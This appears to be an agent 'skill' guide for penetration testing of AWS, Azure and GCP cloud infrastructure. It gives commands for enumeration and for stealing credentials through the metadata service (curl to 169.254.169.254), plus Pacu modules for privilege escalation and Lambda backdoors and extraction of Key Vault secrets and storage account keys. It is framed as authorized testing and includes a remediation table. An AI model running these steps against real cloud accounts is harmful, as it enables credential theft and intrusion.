conducting-cloud-infrastructure-penetration-test

What this skill does

# Conducting Cloud Infrastructure Penetration Test

## Overview

Cloud infrastructure penetration testing identifies security weaknesses in AWS, Azure, and GCP environments by targeting IAM policies, storage configurations, compute instances, serverless functions, network controls, and Kubernetes clusters. Cloud-specific attack vectors include over-privileged IAM roles, misconfigured storage buckets, exposed metadata services, insecure API endpoints, and lateral movement through cloud service chains.

## Prerequisites

- Written authorization and cloud provider notification (AWS penetration testing policy, Azure rules, GCP terms)
- Cloud credentials with read-only access (assumed breach model) or unauthenticated external testing
- Tools: Pacu (AWS), ScoutSuite, Prowler, AzureHound, GCPBucketBrute, CloudMapper
- Understanding of shared responsibility model for each provider

## AWS Penetration Testing

### Initial Enumeration

```bash
# Verify caller identity
aws sts get-caller-identity

# Enumerate IAM permissions
aws iam get-user
aws iam list-attached-user-policies --user-name testuser
aws iam list-user-policies --user-name testuser

# Enumerate all IAM users and roles
aws iam list-users
aws iam list-roles
aws iam list-groups

# Enumerate EC2 instances
aws ec2 describe-instances --query 'Reservations[*].Instances[*].[InstanceId,State.Name,PublicIpAddress,PrivateIpAddress]' --output table

# Enumerate S3 buckets
aws s3 ls
aws s3 ls s3://target-bucket --recursive

# Enumerate Lambda functions
aws lambda list-functions --query 'Functions[*].[FunctionName,Runtime,Role]' --output table

# Enumerate RDS databases
aws rds describe-db-instances --query 'DBInstances[*].[DBInstanceIdentifier,Engine,PubliclyAccessible]' --output table

# Enumerate secrets
aws secretsmanager list-secrets
aws ssm describe-parameters
```

### Pacu Exploitation Framework

```bash
# Install and configure Pacu
pip install pacu
pacu

# Import AWS keys
Pacu> set_keys
Pacu> import_keys testuser

# Run enumeration modules
Pacu> run iam__enum_permissions
Pacu> run iam__enum_users_roles_policies_groups
Pacu> run ec2__enum
Pacu> run s3__enum
Pacu> run lambda__enum

# Privilege escalation checks
Pacu> run iam__privesc_scan

# Exploit S3 bucket misconfigurations
Pacu> run s3__bucket_finder

# EC2 metadata SSRF exploitation
Pacu> run ec2__metadata_services

# Lambda backdoor (authorized testing)
Pacu> run lambda__backdoor_new_roles
```

### S3 Bucket Testing

```bash
# Test for public buckets
aws s3 ls s3://target-corp-backup --no-sign-request
aws s3 cp s3://target-corp-backup/test.txt /tmp/ --no-sign-request

# Check bucket policy
aws s3api get-bucket-policy --bucket target-corp-backup
aws s3api get-bucket-acl --bucket target-corp-backup

# Test for ACL misconfigurations
aws s3api put-object --bucket target-corp-backup --key pentest_proof.txt \
  --body /tmp/proof.txt
```

### EC2 Instance Metadata Exploitation

```bash
# From a compromised EC2 instance:
# IMDSv1 (if not disabled)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/EC2-Role-Name

# Extract temporary credentials
# Use them to enumerate further permissions
export AWS_ACCESS_KEY_ID=<from_metadata>
export AWS_SECRET_ACCESS_KEY=<from_metadata>
export AWS_SESSION_TOKEN=<from_metadata>
aws sts get-caller-identity
```

## Azure Penetration Testing

### Azure Enumeration

```bash
# Login with test credentials
az login -u [email protected] -p 'Password123'

# Enumerate subscriptions
az account list --output table

# Enumerate resource groups
az group list --output table

# Enumerate VMs
az vm list --output table

# Enumerate storage accounts
az storage account list --output table

# Enumerate App Services
az webapp list --output table

# Enumerate Key Vaults
az keyvault list --output table

# Enumerate Azure AD users
az ad user list --output table

# AzureHound for attack paths (like BloodHound for Azure)
azurehound list -u [email protected] -p 'Password123' -o azurehound.json
```

### Azure-Specific Attacks

```bash
# Enumerate Managed Identity from compromised VM
curl -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

# Storage account key extraction
az storage account keys list --resource-group RG-Production --account-name targetstorageacct

# Key Vault secret extraction
az keyvault secret list --vault-name target-keyvault
az keyvault secret show --vault-name target-keyvault --name admin-password

# Stormspotter — Azure attack graph
python stormspotter.py --cli
```

## GCP Penetration Testing

### GCP Enumeration

```bash
# Authenticate
gcloud auth login

# List projects
gcloud projects list

# Enumerate compute instances
gcloud compute instances list

# Enumerate storage buckets
gsutil ls
gsutil ls gs://target-bucket/

# Enumerate IAM policies
gcloud projects get-iam-policy PROJECT_ID

# Enumerate Cloud Functions
gcloud functions list

# Enumerate service accounts
gcloud iam service-accounts list

# Check for public buckets
gsutil ls -L gs://target-bucket/ | grep "Access control"
```

## Cross-Cloud Security Assessment

### ScoutSuite Multi-Cloud Audit

```bash
# AWS audit
scout suite aws --profile testuser

# Azure audit
scout suite azure --cli

# GCP audit
scout suite gcp --user-account

# Review results in HTML dashboard
# Focus on: IAM, storage, networking, logging findings
```

### Prowler (AWS CIS Benchmark)

```bash
# Run full CIS benchmark scan
prowler aws --profile testuser

# Run specific checks
prowler aws -c check11 check12 check13  # IAM checks
prowler aws -g s3  # S3 group
prowler aws -g forensics-ready  # Logging checks

# Export results
prowler aws -M json-ocsf -o ./prowler_results/
```

## Findings Matrix

| Finding | Cloud | Severity | Remediation |
|---------|-------|----------|-------------|
| Public S3 bucket with PII | AWS | Critical | Enable bucket policy deny public access |
| Over-privileged IAM role on Lambda | AWS | High | Implement least-privilege IAM policies |
| IMDSv1 enabled on EC2 | AWS | High | Enforce IMDSv2 across all instances |
| Storage account with public blob access | Azure | Critical | Disable anonymous blob access |
| Key Vault accessible by all users | Azure | High | Restrict Key Vault access policies |
| GCS bucket with allUsers read | GCP | Critical | Remove allUsers permission |
| Service account key exposed in repo | GCP | Critical | Rotate key, enable Workload Identity |

## References

- Pacu: https://github.com/RhinoSecurityLabs/pacu
- ScoutSuite: https://github.com/nccgroup/ScoutSuite
- Prowler: https://github.com/prowler-cloud/prowler
- AzureHound: https://github.com/BloodHoundAD/AzureHound
- AWS Penetration Testing Policy: https://aws.amazon.com/security/penetration-testing/
- HackTricks Cloud: https://cloud.hacktricks.wiki/